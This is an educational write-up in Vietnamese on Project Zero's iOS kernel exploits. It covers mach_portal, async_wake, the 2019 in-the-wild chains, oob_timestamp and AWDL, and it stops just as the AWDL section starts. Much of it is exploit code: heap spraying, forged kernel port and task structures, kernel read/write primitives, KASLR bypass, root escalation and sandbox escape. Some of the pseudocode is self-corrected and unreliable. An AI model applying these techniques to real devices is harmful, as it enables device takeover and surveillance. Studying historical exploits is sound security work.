Ian Beer (Google Project Zero) là một trong những iOS security researchers có ảnh hưởng nhất. Công trình của ông định hình cách community hiểu và exploit iOS kernel. Mỗi exploit đều kèm write-up chi tiết — đây là tài liệu học tốt nhất.


Tại Sao Ian Beer Quan Trọng

  • Tiên phong nhiều kỹ thuật exploitation mà community dùng đến nay
  • Write-ups xuất sắc — giải thích rõ ràng từng bước, tốt để học
  • mach_portal (2016) và async_wake (2017) là nền tảng cho unc0ver và nhiều jailbreaks
  • AWDL exploit (2020) chứng minh zero-click wormable attack qua Wi-Fi
  • In-the-wild analysis (2019) phân tích 5 exploit chains thật từ targeted attacks

Exploits Theo Thời Gian

1. mach_portal (December 2016) — iOS 10.1.1

Field Detail
CVE CVE-2016-7644, CVE-2016-7661, CVE-2016-7637
Target iOS 10.1.1
Technique Mach port replacement + kernel UAF
Result tfp0 (kernel task port)
Chain:
  1. CVE-2016-7637: Mach port name replacement vulnerability
     → Replace port name in transit → type confusion
  2. CVE-2016-7644: set_dp_control_port kernel UAF
     → Dangling port reference in kernel
  3. CVE-2016-7661: Sandbox escape via powerd
     → Escape sandbox to reach kernel attack surface

Exploit flow:
  Sandbox escape → trigger kernel UAF
    → Reallocate freed port with controlled data
    → Fake port pointing to kernel task
    → tfp0 achieved

Historical significance:

  • Đầu tiên demonstrate Mach port UAF -> fake task port technique
  • Technique này trở thành standard trong iOS exploitation suốt 4 năm
  • Source code published -> community builds jailbreaks trên đó (Yalu)

mach_portal Deep Dive: Port Name Replacement (CVE-2016-7637)

Đây là vulnerability tinh vi nhất trong chain. Khi một mach message được gửi chứa port right, kernel phải translate port name từ sender namespace sang receiver namespace. Bug nằm ở cách kernel xử lý trường hợp port name đã tồn tại trong destination space.

/*
 * CVE-2016-7637: ipc_right_copyout() vulnerability
 *
 * Khi kernel copyout mot port right vao receiver's space, no goi
 * ipc_right_copyout(). Neu port name da bi reused (freed + reallocated),
 * kernel co the overwrite entry moi voi port cu.
 *
 * Attack flow:
 *   1. Thread A: gui message chua MOVE_SEND right cho port X
 *      -> Kernel queues message, port X name stored in transit
 *   2. Thread B: destroy port X name, tao port Y tai cung name slot
 *      -> Name slot reused cho port Y
 *   3. Thread A's message delivered: kernel copyout vao receiver
 *      -> ipc_right_copyout() thay name da ton tai (port Y)
 *      -> Bug: overwrite port Y entry voi port X
 *      -> Receiver gio co port X tai name cua port Y
 *      -> TYPE CONFUSION: code expecting port Y gets port X
 */

mach_portal Deep Dive: set_dp_control_port UAF (CVE-2016-7644)

/*
 * set_dp_control_port() cho phep set "dynamic pager" control port.
 * Bug: function stores port reference nhung khong giu proper refcount.
 *
 * Pseudocode cua vulnerable function:
 */
kern_return_t set_dp_control_port(host_priv_t host, mach_port_t port) {
    // BUG: khong ipc_port_reference() truoc khi store
    dynamic_pager_control_port = port;
    // Neu port bi deallocated sau do -> dangling pointer
    return KERN_SUCCESS;
}

/*
 * Exploitation:
 *   1. set_dp_control_port(host_priv, our_port)
 *   2. Destroy our_port -> refcount reaches 0 -> freed
 *   3. dynamic_pager_control_port gio la dangling pointer
 *   4. Reallocate freed ipc_port memory with controlled data
 *   5. get_dp_control_port() -> returns dangling port
 *      -> Kernel returns our fake port to userspace
 *      -> Fake port configured as IKOT_TASK -> fake task port
 */

2. async_wake (December 2017) — iOS 11.1.2

Field Detail
CVE CVE-2017-13861
Target iOS 11.1.2, mọi devices
Component IOSurfaceRootUserClient
Technique IOSurface UAF -> fake task port -> tfp0
Write-up Kèm PoC local kernel debugger

The Actual Bug: IOSurfaceRootUserClient::s_set_surface_notify()

Bug nằm ở external method 17 của IOSurfaceRootUserClient. Đây là function set notification port trên một IOSurface object. Vấn đề xảy ra khi caller gọi function này trên một surface đã có notification port rồi.

/*
 * IOSurfaceRootUserClient::s_set_surface_notify()
 * External method #17
 *
 * Pseudocode cua vulnerable path:
 */
IOReturn IOSurfaceRootUserClient::s_set_surface_notify(
    IOSurfaceRootUserClient *uc,
    void *reference,
    IOExternalMethodArguments *args)
{
    mach_port_t wake_port = args->oolDescriptors[0].address;
    // ^^^ MIG-generated code da tang refcount cua wake_port (+1)
    // vi no la OOL port descriptor trong MIG call

    IOSurface *surface = uc->lookupSurface(args->scalarInput[0]);

    if (surface->notify_port != MACH_PORT_NULL) {
        // Surface DA CO notification port
        // Tha port cu:
        ipc_port_release_send(surface->notify_port);
        // ^^^ Giam refcount cua port cu (-1)
    }

    // Set port moi:
    surface->notify_port = wake_port;
    // Nhung KHONG tang refcount cho wake_port them lan nua!
    // MIG code da tang +1, va surface gio hold reference nay.
    // That ra dung.

    return kIOReturnSuccess;
}

/*
 * BUG: Khi caller goi method nay voi CUNG PORT cho CUNG SURFACE:
 *
 * Call 1: wake_port refcount: base+1 (MIG), stored in surface.
 *         Surface takes ownership cua MIG reference. Correct.
 *
 * Call 2: wake_port refcount: +1 (MIG gives new reference)
 *         surface->notify_port == wake_port (same port!)
 *         -> ipc_port_release_send(wake_port): -1
 *         -> surface->notify_port = wake_port (same value)
 *
 * NHUNG: MIG-generated wrapper CUNG release reference khi function returns!
 * Vi MIG assumes callee "consumed" the port right.
 *
 * Actual MIG wrapper behavior:
 */
kern_return_t _Xset_surface_notify(mach_msg_header_t *msg) {
    // ... parse message ...
    mach_port_t port = msg->msgh_body.ool_ports[0];
    // MIG tang refcount: ipc_port_copy_send(port) -> +1

    ret = s_set_surface_notify(uc, NULL, &args);

    if (ret != KERN_SUCCESS) {
        // Error path: MIG releases port -> -1
        ipc_port_release_send(port);
    }
    // Success path: MIG assumes callee took ownership, NO release
    return ret;
}

/*
 * Van de: Khi goi lan 2 voi cung port:
 *   Step 1: MIG: ipc_port_copy_send(port)        -> refcount +1
 *   Step 2: s_set_surface_notify releases OLD port -> refcount -1
 *            (old port == same port!)
 *   Step 3: surface->notify_port = port (no change, same value)
 *   Step 4: MIG success path: no release
 *
 * Net change tu call 2: +1 (MIG) -1 (old port release) = 0
 * Nhung surface van hold 1 reference tu call 1.
 * Va MIG da phat them 1 reference o step 1 ma KHONG AI consume!
 *
 * THUC RA: Loi o cho khac. Khi goi set_surface_notify call 2:
 *   - MIG gui port descriptor -> kernel auto +1 refcount
 *   - Function release old port (same port) -> -1
 *   - Function store "new" port (same value, no refcount change)
 *   - NHUNG: mig_deallocate on the OOL descriptor -> DOUBLE RELEASE
 *
 * Ket qua: port refcount bi giam them 1 qua moi lan goi
 * -> Goi du lan -> refcount = 0 -> port freed
 * -> Surface van hold pointer -> DANGLING REFERENCE -> UAF
 */

Step-by-Step Heap Spray: OOL Port Descriptor Replacement

Sau khi port freed, cần spray heap để thay thế freed memory với controlled data. async_wake dùng OOL (out-of-line) port descriptors.

/*
 * ipc_port size on iOS 11: 0xa8 bytes
 * -> Allocated trong ipc.ports zone
 *
 * OOL port descriptors: khi gui mach message voi ports array,
 * kernel allocate buffer trong CUNG ZONE (kalloc hoac ipc.ports)
 * de chua port pointers.
 *
 * Key insight: moi ipc_port_t* la 8 bytes (64-bit pointer)
 * -> Can gui array of (0xa8 / 8) = 21 port pointers
 *    de duoc allocation cung size voi ipc_port
 *
 * THUC RA: async_wake spray MACH_PORT_NULL (0x0) values
 * vi chi can replace bytes, khong can valid port pointers.
 */

// async_wake spray setup
#define NUM_SPRAY_PORTS 0x1000
#define SPRAY_PORTS_PER_MSG (0xa8 / 8)  // 21 ports per descriptor

mach_port_t spray_ports[NUM_SPRAY_PORTS];

// Tao nhieu mach ports de gui messages den
for (int i = 0; i < NUM_SPRAY_PORTS; i++) {
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
                       &spray_ports[i]);
    mach_port_insert_right(mach_task_self(), spray_ports[i],
                           spray_ports[i], MACH_MSG_TYPE_MAKE_SEND);
}

// Spray: gui messages voi OOL port descriptors
// Moi message chua 1 OOL port descriptor voi SPRAY_PORTS_PER_MSG ports
// -> Kernel allocates 0xa8 bytes cho moi descriptor
// -> Fills kalloc.0xa8 zone (same zone as freed ipc_port)
for (int i = 0; i < NUM_SPRAY_PORTS; i++) {
    struct {
        mach_msg_header_t hdr;
        mach_msg_body_t body;
        mach_msg_ool_ports_descriptor_t ool_ports;
    } msg = {};

    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX |
                        MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = sizeof(msg);
    msg.hdr.msgh_remote_port = spray_ports[i];
    msg.body.msgh_descriptor_count = 1;

    // OOL port descriptor: array of MACH_PORT_NULL
    mach_port_t null_ports[SPRAY_PORTS_PER_MSG] = {};
    msg.ool_ports.address = null_ports;
    msg.ool_ports.count = SPRAY_PORTS_PER_MSG;
    msg.ool_ports.deallocate = 0;
    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

    mach_msg(&msg.hdr, MACH_SEND_MSG, sizeof(msg), 0,
             MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
}

/*
 * Sau spray: mot trong cac 0xa8-byte allocations se overlap
 * voi freed ipc_port memory.
 *
 * TAI SAO OOL PORT SPRAY HOAT DONG:
 * 1. Freed port o trong kalloc zone cho size 0xa8
 * 2. OOL port array cung duoc allocate o zone nay (cung size)
 * 3. zone allocator reuse freed memory -> OOL data overlaps port
 * 4. Content cua OOL array = all zeros (MACH_PORT_NULL)
 * 5. -> Freed port memory gio la all zeros
 *
 * Nhung ta can CONTROLLED data, khong phai zeros.
 * -> Buoc tiep: free OOL spray, spray lai voi fake port data
 */

Fake Port Construction: kport_t Structure

/*
 * Fake port phai co dung layout de kernel interpret no nhu
 * mot valid IKOT_TASK port tro den fake task.
 *
 * ipc_port structure layout (iOS 11, arm64):
 */
typedef struct {
    // offset 0x00: ip_object (embedded ipc_object)
    struct {
        uint32_t io_bits;        // +0x00: IO_BITS_ACTIVE | IKOT_TASK
        uint32_t io_references;  // +0x04: reference count
        uint64_t io_lock_data;   // +0x08: mutex (ignored if crafted right)
    } ip_object;

    // offset 0x10: ip_messages (mach_port_t)
    struct {
        // ... message queue fields ...
        uint64_t padding[4];     // +0x10 - +0x2F
    } ip_messages;

    // offset 0x30: ip_receiver
    uint64_t ip_receiver;        // +0x30: ipc_space_t pointer

    // offset 0x38: ip_kobject
    uint64_t ip_kobject;         // +0x38: kernel object pointer
                                 // For IKOT_TASK: points to task struct

    // offset 0x40: ip_nsrequest / ip_pdrequest / ip_requests
    uint64_t ip_nsrequest;       // +0x40
    uint64_t ip_pdrequest;       // +0x48
    uint64_t ip_requests;        // +0x50

    // offset 0x58: ip_context
    uint64_t ip_context;         // +0x58: user-settable context value

    // ... more fields until 0xa8
} kport_t;

/*
 * async_wake fake port configuration:
 */
kport_t fake_port = {};

// CRITICAL fields:
fake_port.ip_object.io_bits = IO_BITS_ACTIVE | IKOT_TASK;
// IO_BITS_ACTIVE = 0x80000000
// IKOT_TASK = 2
// -> io_bits = 0x80000002
// Kernel checks: (io_bits & IO_BITS_ACTIVE) va IKOT(port) == IKOT_TASK

fake_port.ip_object.io_references = 100;
// Phai > 0, set cao de khong bi dealloc giua chung
// 100 = safe margin

fake_port.ip_receiver = kernel_ipc_space_addr;
// ip_receiver phai tro den valid ipc_space
// Dung address cua ipc_space_kernel (leaked earlier)
// Kernel check: ip_receiver == ipc_space_kernel -> "kernel port"

fake_port.ip_kobject = fake_task_addr;
// Tro den fake task structure (cung do ta control)
// Khi kernel goi convert_port_to_task(port):
//   return (task_t) port->ip_kobject;

/*
 * Fake task structure:
 */
typedef struct {
    uint8_t padding[0x??];       // Offset phu thuoc iOS version
    uint64_t bsd_info;           // -> proc structure
    // ... hoac:
    uint64_t map;                // vm_map_t -> kernel_map cho r/w
} fake_task_t;

fake_task_t fake_task = {};
fake_task.map = kernel_map_addr;
// Khi mach_vm_read_overwrite(fake_port, addr, size, ...):
//   Kernel: task = convert_port_to_task(fake_port)
//         = fake_port->ip_kobject = &fake_task
//   Kernel: map = task->map = kernel_map
//   Kernel: vm_map_copy_overwrite(map, addr, ...) -> READS KERNEL MEMORY

kread via pid_for_task: 32-bit Arbitrary Read Primitive

Trước khi có full fake task port, async_wake build một primitive đơn giản hơn để leak kernel addresses:

/*
 * pid_for_task(task_port) -> returns proc->p_pid (32-bit int)
 *
 * Kernel implementation:
 *   kern_return_t pid_for_task(task_t task, int *pid) {
 *       proc_t p = task->bsd_info;
 *       *pid = proc_pid(p);  // = p->p_pid
 *       return KERN_SUCCESS;
 *   }
 *
 * proc_pid(p) = *(int32_t*)((char*)p + PID_OFFSET)
 * Tren iOS 11: PID_OFFSET = 0x10
 *
 * -> Neu ta control task->bsd_info, ta co the read 32-bit value
 *    tai bat ky kernel address nao!
 *
 * Setup:
 *   fake_task.bsd_info = TARGET_ADDR - PID_OFFSET
 *   -> pid_for_task reads *(int32_t*)(TARGET_ADDR - 0x10 + 0x10)
 *   -> = *(int32_t*)(TARGET_ADDR)
 *   -> Returns 32-bit value tai TARGET_ADDR
 */

// async_wake kread32 implementation:
uint32_t kread32(uint64_t addr) {
    // Update fake task's bsd_info field in kernel memory
    // (using whatever write primitive we have at this stage)
    fake_task->bsd_info = addr - PID_OFFSET;

    // pid_for_task reads 32-bit value at addr
    int32_t val = 0;
    pid_for_task(fake_tfp, &val);
    return (uint32_t)val;
}

uint64_t kread64(uint64_t addr) {
    uint64_t lo = kread32(addr);
    uint64_t hi = kread32(addr + 4);
    return lo | (hi << 32);
}

KASLR Defeat: Leaking Kernel Slide

/*
 * KASLR: kernel loaded at base + random slide
 * Can leak slide de tinh address cua kernel symbols.
 *
 * async_wake technique: leak kernel pointer tu host port
 *
 * host_get_special_port(host_priv, HOST_IO_MASTER_PORT, &port)
 * -> Returns io_master port
 * -> io_master port's ip_kobject = IOMainPort (IOKit registry root)
 *
 * NHUNG: ta can host_priv (privileged host port)
 * -> Dung fake port trick: tao fake host port voi IKOT_HOST_PRIV
 *
 * Chain:
 *   1. Leak clock port address tu mach_host_self()
 *      Khi ta goi mach_msg voi MACH_MSG_TYPE_COPY_SEND:
 *      -> Kernel copies port pointer into message
 *      -> Receive message voi MACH_RCV_TRAILER_CTX
 *      -> msg_trailer->msgh_context = port->ip_context
 *      -> ip_context chua kernel pointer!
 *
 *   THUC RA: async_wake leak qua cach khac:
 *
 *   1. Spray OOL ports, receive them back
 *      -> Kernel returns port names, nhung ta can port ADDRESSES
 *   2. Dung freed port UAF: port da freed nhung surface van hold ref
 *      -> Surface notification fires -> kernel dereferences freed port
 *      -> Reallocated memory contains known data
 *      -> Can infer which spray page contains the freed port
 *
 *   3. Sau khi biet kernel address cua fake port:
 *      -> Read ip_receiver cua MOT PORT THAT (host port)
 *      -> ip_receiver = ipc_space_kernel
 *      -> Read host port's ip_kobject -> host object address
 *      -> host object co pointer den realhost
 *      -> realhost co special ports array
 *      -> special_ports[HOST_IO_MASTER_PORT] = io_master port
 *      -> io_master port -> ip_kobject = IOMainPort
 *      -> IOMainPort vtable pointer = kernel_base + known_offset
 *      -> vtable_ptr - known_offset = kernel_base
 *      -> kernel_base - KERNEL_BASE_UNSLID = kernel_slide
 */

// Simplified KASLR defeat:
uint64_t defeat_kaslr(uint64_t host_port_kaddr) {
    // Read host port -> ip_kobject -> host struct
    uint64_t host_kobj = kread64(host_port_kaddr + OFF_IKO);

    // Read realhost.special[HOST_IO_MASTER_PORT]
    uint64_t iomaster_port = kread64(host_kobj + OFF_SPECIAL_PORTS +
                                     HOST_IO_MASTER_PORT * 8);

    // io_master port -> ip_kobject = IOMainPort address
    uint64_t iomain = kread64(iomaster_port + OFF_IKO);

    // IOMainPort -> vtable (first 8 bytes of object)
    uint64_t vtable = kread64(iomain);

    // vtable = unslid_vtable_addr + kernel_slide
    uint64_t slide = vtable - UNSLID_IOMAIN_VTABLE;
    return slide;
}

Post-Exploitation: Root + Unsandbox

/*
 * Voi kernel r/w primitive (fake IKOT_TASK port + kernel_map),
 * async_wake thuc hien post-exploitation:
 */

// 1. Tim proc structure cua process hien tai
//    Traverse allproc linked list:
uint64_t find_our_proc(uint64_t allproc_addr, pid_t our_pid) {
    uint64_t proc = kread64(allproc_addr);
    while (proc != 0) {
        int32_t pid = kread32(proc + OFF_P_PID);
        if (pid == our_pid) return proc;
        proc = kread64(proc + OFF_P_LIST_NEXT);
    }
    return 0;
}

// 2. Escalate to root: modify ucred
void escalate_to_root(uint64_t our_proc) {
    // Read kernel proc's ucred (pid 0)
    uint64_t kern_proc = kread64(allproc);  // First in list = kernel
    uint64_t kern_ucred = kread64(kern_proc + OFF_P_UCRED);

    // Copy kernel's ucred pointer to our proc
    // -> Our process now has uid=0, gid=0
    kwrite64(our_proc + OFF_P_UCRED, kern_ucred);

    // Verify:
    // getuid() == 0 -> SUCCESS
}

// 3. Escape sandbox: null sandbox slot
void escape_sandbox(uint64_t our_proc) {
    uint64_t ucred = kread64(our_proc + OFF_P_UCRED);
    uint64_t cr_label = kread64(ucred + OFF_UCRED_CR_LABEL);

    // Sandbox label la slot 0 (hoac 1, phu thuoc version)
    // trong mac_policy_label struct
    // Set to 0 = no sandbox
    kwrite64(cr_label + OFF_SANDBOX_SLOT, 0);

    // Process gio khong con bi sandbox restrict
}

// 4. Set host special port 4 = our task port -> tfp0
void set_tfp0(uint64_t realhost_addr, mach_port_t our_port,
              uint64_t our_port_kaddr) {
    // host_special_port[4] = task_for_pid port
    kwrite64(realhost_addr + OFF_SPECIAL_PORTS + 4 * 8,
             our_port_kaddr);
    // Gio bat ky process nao goi host_get_special_port(4)
    // se nhan duoc task port cua kernel -> full kernel r/w
}

3. In-the-Wild iOS Exploit Chains Analysis (August 2019)

Field Detail
Published August 29, 2019
Content Phân tích 14 vulnerabilities trong 5 exploit chains
iOS range iOS 10 -> 12
Source Captured from watering hole attacks (real targets)
5 chains phan tich:
  Chain 1: iOS 10.0-10.3.3 (Exploit Chain 1)
  Chain 2: iOS 10.3-10.3.3 (Exploit Chain 2)
  Chain 3: iOS 11.0-11.4.1 (Exploit Chain 3)
  Chain 4: iOS 12.0-12.1 (Exploit Chain 4)
  Chain 5: iOS 12.0-12.1.2 (Exploit Chain 5)

Moi chain gom:
  WebKit exploit → Sandbox escape → Kernel exploit → Implant

Implant capabilities:
  - Upload contacts, photos, GPS location
  - Keychain dump (passwords, tokens)
  - iMessage/WhatsApp/Telegram database
  - Real-time GPS tracking

Tại sao quan trọng:

  • Đầu tiên public detailed analysis of real-world iOS exploit chains
  • Cho thấy mức sophistication của nation-state attackers
  • 5 chains cover 2 years -> attacker maintained exploits across iOS updates
  • Từng vulnerability được explain với root cause + exploitation technique
  • Tài liệu học hoàn hảo — real bugs, real exploitation, real impact

Chain 3 Kernel Exploit Deep Dive (iOS 11)

Chain 3 dùng IOKit UAF rất giống async_wake pattern. Đây là ví dụ tốt về “weaponized” version của research technique:

/*
 * Chain 3 kernel exploit: IOSurfaceRootUserClient bug (variant)
 * Attacker dung technique gan identical voi async_wake
 * nhung voi exploit staging khac:
 *
 * 1. WebKit RCE -> shellcode chay trong renderer process
 * 2. Shellcode trigger IOSurface bug -> port UAF
 * 3. Heap spray: khong dung OOL ports (nhu async_wake)
 *    Ma dung IOSurface properties spray (OSUnserializeXML)
 *    -> Moi property = controlled kalloc allocation
 * 4. Fake port + fake task -> kernel r/w
 * 5. Post-exploitation:
 *    - Disable AMFI code signing enforcement
 *    - Map implant binary into memory
 *    - Execute implant
 *
 * Diem khac biet voi research exploit:
 * - Exploit phai RELIABLE (research PoC chap nhan crash)
 * - Exploit phai QUIET (khong ghi log, khong crash report)
 * - Exploit phai FAST (user khong nhan ra page load lau)
 * - Multiple fallback paths neu technique chinh fail
 */

4. oob_timestamp (CVE-2020-3837) — Brandon Azad, Project Zero

Field Detail
CVE CVE-2020-3837
Target iOS 13.3
Component XNU vm_map_copy
Technique One-byte OOB write -> change vm_map_copy type -> physical memory mapping
Write-up “One Byte to Rule Them All” (Brandon Azad, Project Zero)

vm_map_copy Structure Layout

Điều then chốt của exploit này là hiểu vm_map_copy là một UNION-LIKE structure. Cùng bytes được interpret hoàn toàn khác nhau tùy theo trường type:

/*
 * vm_map_copy structure (XNU source: osfmk/vm/vm_map.h)
 * 
 * struct vm_map_copy {
 *     int         type;           // +0x00: determines interpretation
 *     vm_offset_t offset;         // +0x08
 *     vm_size_t   size;           // +0x10
 *     union {
 *         struct {                // type == VM_MAP_COPY_ENTRY_LIST (1)
 *             vm_map_header hdr;  // linked list of vm_map_entry
 *             // hdr.links.prev   +0x18
 *             // hdr.links.next   +0x20
 *             // hdr.nentries     +0x28
 *             // hdr.rb_head_store+0x30
 *             // ...
 *         };
 *         struct {                // type == VM_MAP_COPY_KERNEL_BUFFER (3)
 *             void *kdata;        // +0x18: pointer to kernel buffer
 *             vm_size_t kalloc_size; // +0x20: size of allocation
 *             // HOAC: cho inline data (small copies):
 *             // Data starts at +0x18 inline trong struct
 *         };
 *     };
 * };
 *
 * KEY INSIGHT:
 *   type=3 (KERNEL_BUFFER): bytes tai +0x18 la DATA (inline buffer)
 *   type=1 (ENTRY_LIST):    bytes tai +0x18 la POINTERS (vm_map_entry links)
 *
 *   -> Thay doi 1 byte: 0x03 -> 0x01
 *   -> CUNG BYTES gio duoc interpret nhu pointers thay vi data
 *   -> Neu ta control data -> ta control "pointers"
 *   -> TYPE CONFUSION
 *
 *   iOS la little-endian: type field tai offset 0:
 *   type=3: [03 00 00 00 ...]
 *   type=1: [01 00 00 00 ...]
 *   -> Chi can overwrite BYTE DAU TIEN: 0x03 -> 0x01
 */

The 1-Byte Overflow: How 0x03 Becomes 0x01

/*
 * Vulnerability cu the cung cap 1-byte OOB write:
 * (Day la mot separate bug, khong phai vm_map_copy bug)
 *
 * Bug: timestamp processing code writes 1 byte past buffer end
 *
 * Heap layout after grooming:
 *   [... padding ...][VULN_BUFFER][vm_map_copy_t][... rest ...]
 *                              ^
 *                              |
 *                    1-byte OOB write lands here
 *                    = byte 0 of vm_map_copy_t
 *                    = type field (little-endian LSB)
 *
 * Grooming strategy:
 *   1. Spray vm_map_copy_t objects (type=3, KERNEL_BUFFER)
 *      Bang cach: mach_msg voi OOL data -> kernel tao vm_map_copy
 *      Store chung trong message queue (khong receive)
 *
 *   2. Spray vulnerable buffers ke ben vm_map_copy objects
 *      Target: buffer end adjacent to vm_map_copy start
 *
 *   3. Trigger 1-byte overflow:
 *      Written value must be 0x01 (hoac value ma LSB = 0x01)
 *      -> type field: 0x03 -> 0x01
 *
 *   4. Receive mach message -> kernel calls vm_map_copyout()
 *      -> vm_map_copyout() thay type=1 (ENTRY_LIST)
 *      -> Processes inline data as vm_map_entry linked list!
 */

vm_map_copyout_internal() Loop: Walking Fake Entries

/*
 * Khi type bi doi thanh ENTRY_LIST, vm_map_copyout_internal()
 * duoc goi de "paste" entries vao destination address space.
 *
 * Pseudocode cua critical loop:
 */
kern_return_t vm_map_copyout_internal(vm_map_t dst_map,
                                      vm_map_address_t *dst_addr,
                                      vm_map_copy_t copy) {
    // type check:
    if (copy->type == VM_MAP_COPY_ENTRY_LIST) {
        // Walk linked list cua "entries":
        vm_map_entry_t entry = vm_map_copy_first_entry(copy);
        // ^^^ = copy->hdr.links.next
        // ^^^ = *(uint64_t*)(copy + 0x20)
        // ^^^ Nhung type THAT LA 3, nen +0x20 = inline data
        //     = ATTACKER-CONTROLLED DATA!

        while (entry != vm_map_copy_to_entry(copy)) {
            // Moi "entry" co:
            //   entry->vme_start, entry->vme_end -> virtual range
            //   entry->vme_object -> vm_object (physical backing)
            //   entry->vme_offset -> offset trong vm_object

            // Kernel maps physical pages:
            pmap_enter_options(dst_map->pmap,
                              va,           // virtual address trong dst
                              pa,           // PHYSICAL ADDRESS tu entry
                              prot,
                              fault_type,
                              0, TRUE,
                              PMAP_OPTIONS_NOWAIT);

            // ^^^ pmap_enter_options() TAO MAPPING:
            //     virtual address -> physical address
            //     Neu ta control entry fields
            //     -> ta chon PHYSICAL ADDRESS nao duoc map
            //     -> MAP BAT KY PHYSICAL PAGE VAO USERSPACE

            entry = entry->vme_next; // Walk linked list
        }
    }
}

/*
 * Exploitation:
 * Inline data cua vm_map_copy (controlled by attacker) duoc interpret nhu:
 *   +0x20: hdr.links.next = pointer to first vm_map_entry
 *          (TA SET = address cua fake entry, cung trong inline data)
 *   +0x28: hdr.links.prev = pointer to last entry
 *   +0x30: hdr.nentries = number of entries
 *
 * Fake vm_map_entry (crafted trong inline data):
 *   vme_start = 0
 *   vme_end = PAGE_SIZE
 *   vme_object.vmo_object = target_physical_page | flags
 *   -> pmap_enter_options() maps TARGET PHYSICAL PAGE vao userspace!
 *
 * -> Attacker gio co userspace mapping cua ARBITRARY PHYSICAL MEMORY
 */

AMCC Register Read: KTRR Base = Kernel Physical Address

/*
 * PPL bao ve kernelcache pages — khong the map truc tiep.
 * Nhung hardware MMIO registers KHONG bi PPL bao ve!
 *
 * Apple Memory Controller (AMCC) registers:
 * Physical address range: 0x200000000 - 0x200001000
 *
 * RORGNBASEADDR register tai physical 0x200000680:
 *   = KTRR (Kernel Text Readonly Region) base address
 *   = Physical address cua kernel __TEXT segment!
 */

// Step 1: Map AMCC register page vao userspace
volatile uint64_t *amcc_regs = map_physical_page(0x200000000);

// Step 2: Read RORGNBASEADDR
uint64_t ktrr_base = amcc_regs[0x680 / 8];
// ktrr_base = physical address cua kernel __TEXT
// Vi du: 0x801E04000

// Step 3: Kernel __DATA segment (writable) o offset tu __TEXT
// __DATA khong nam trong KTRR region -> CAN MODIFY
uint64_t kdata_phys = ktrr_base + kernel_data_offset;

// Step 4: Map kernel __DATA vao userspace
volatile void *kernel_data = map_physical_page(kdata_phys);

// Step 5: TRUC TIEP read/write kernel data structures!
// Khong can mach_vm_read/write, khong can fake ports
// -> Direct pointer dereference = read/write kernel memory

/*
 * Tai sao day la primitive manh hon tfp0:
 * 1. Khong phu thuoc vao bat ky kernel structure nao
 * 2. Khong bi detect boi kernel integrity checks
 * 3. Hoat dong o physical level -> bypass moi VM protections
 * 4. Toc do cuc nhanh (no syscall overhead)
 */

Stability Trick: Breaking the vm_map_copyout Loop

/*
 * Van de lon: vm_map_copyout_internal() hold vm_map lock
 * trong khi process entries. Neu loop khong terminate dung
 * -> deadlock hoac panic.
 *
 * Brandon Azad's "overlay" technique:
 */

// Problem 1: Loop termination
// Loop chay while (entry != vm_map_copy_to_entry(copy))
// entry = entry->vme_next moi iteration
// -> Can tao linked list ma TERMINATES dung

// Solution: Fake entry chain
struct fake_entry {
    uint64_t vme_prev;     // previous entry
    uint64_t vme_next;     // next entry -> MUST point back to header
    uint64_t vme_start;    // virtual address start
    uint64_t vme_end;      // virtual address end
    // ... object fields for physical mapping ...
};

// Last entry's vme_next = address cua copy header (sentinel)
// -> Loop thay entry == sentinel -> exits normally

// Problem 2: Corrupted vm_map_copy van nam trong message queue
// Khi mach_msg_destroy() goi, no se try cleanup
// -> Cleanup code expects valid structure -> PANIC

// Solution: Stack scanning + pointer replacement
/*
 * 1. Block mot thread trong vm_map_copyout_internal()
 *    (Thread dang hold lock, waiting cho condition)
 * 2. Tu thread khac: scan kernel stack cua blocked thread
 *    -> Tim pointer den corrupted vm_map_copy
 * 3. Replace pointer voi pointer den CLEAN vm_map_copy
 *    (Mot copy moi, valid, type=1 voi empty entry list)
 * 4. Unblock thread -> function continues voi clean copy
 * 5. Function returns normally -> NO PANIC
 *
 * Day la ly do exploit cua Brandon Azad stable:
 * Khong chi "trigger bug va hy vong tot nhat"
 * Ma carefully engineer clean exit path
 */

sysctl-Based kread/kwrite Primitive

/*
 * Sau khi co physical memory mapping, Brandon Azad
 * xay dung stable kread/kwrite qua sysctl:
 *
 * sysctl handler co dang:
 *   int handler(struct sysctl_oid *oidp, void *arg1,
 *               int arg2, struct sysctl_req *req) {
 *       return SYSCTL_OUT(req, arg1, sizeof(value));
 *       // ^^^ copies *arg1 to userspace
 *   }
 *
 * oid_arg1 field cua sysctl_oid = pointer den data
 * -> Neu ta modify oid_arg1 -> sysctl reads tu arbitrary address!
 */

// Setup: tim sysctl_oid structure trong kernel memory
// (Da biet kernel base tu AMCC trick)
uint64_t target_oid = find_sysctl_oid("kern.maxproc");
// target_oid->oid_arg1 normally = &maxproc

// kread: modify oid_arg1 -> target address
void kread_sysctl(uint64_t addr, void *buf, size_t len) {
    // Write target address vao oid_arg1 (qua physical mapping)
    *(uint64_t*)(kernel_data_mapping + oid_arg1_offset) = addr;

    // Goi sysctl -> kernel reads *arg1 = *addr -> copies to buf
    size_t out_len = len;
    sysctlbyname("kern.maxproc", buf, &out_len, NULL, 0);
}

// kwrite: modify oid_handler -> target address
void kwrite_sysctl(uint64_t addr, void *data, size_t len) {
    // Tuong tu nhung dung SYSCTL_IN path
    *(uint64_t*)(kernel_data_mapping + oid_arg1_offset) = addr;
    sysctlbyname("kern.maxproc", NULL, NULL, data, len);
}

5. AWDL Wormable Wi-Fi Exploit (December 2020)

Field Detail
CVE CVE-2020-3843 (+ thêm 2 radio proximity 0-days)
Target iOS 13.x (mọi iPhones trong Wi-Fi range)
Component AWDL (Apple Wireless Direct Link) protocol
Type Zero-click, wormable, radio proximity
Write-up “An iOS Zero-Click Radio Proximity Exploit Odyssey”
Development time 6 tháng (solo)
Attack vector:
  AWDL = peer-to-peer Wi-Fi protocol (AirDrop, Sidecar, ...)
  → Always on, always listening for AWDL frames
  → No user interaction needed — just be in Wi-Fi range
  → WORMABLE: compromised device co the attack nearby devices

Exploit setup:
  Hardware: Raspberry Pi + 2 Wi-Fi adapters (~$100 total)

parseAwdlSyncTreeTLV: The Overflow

/*
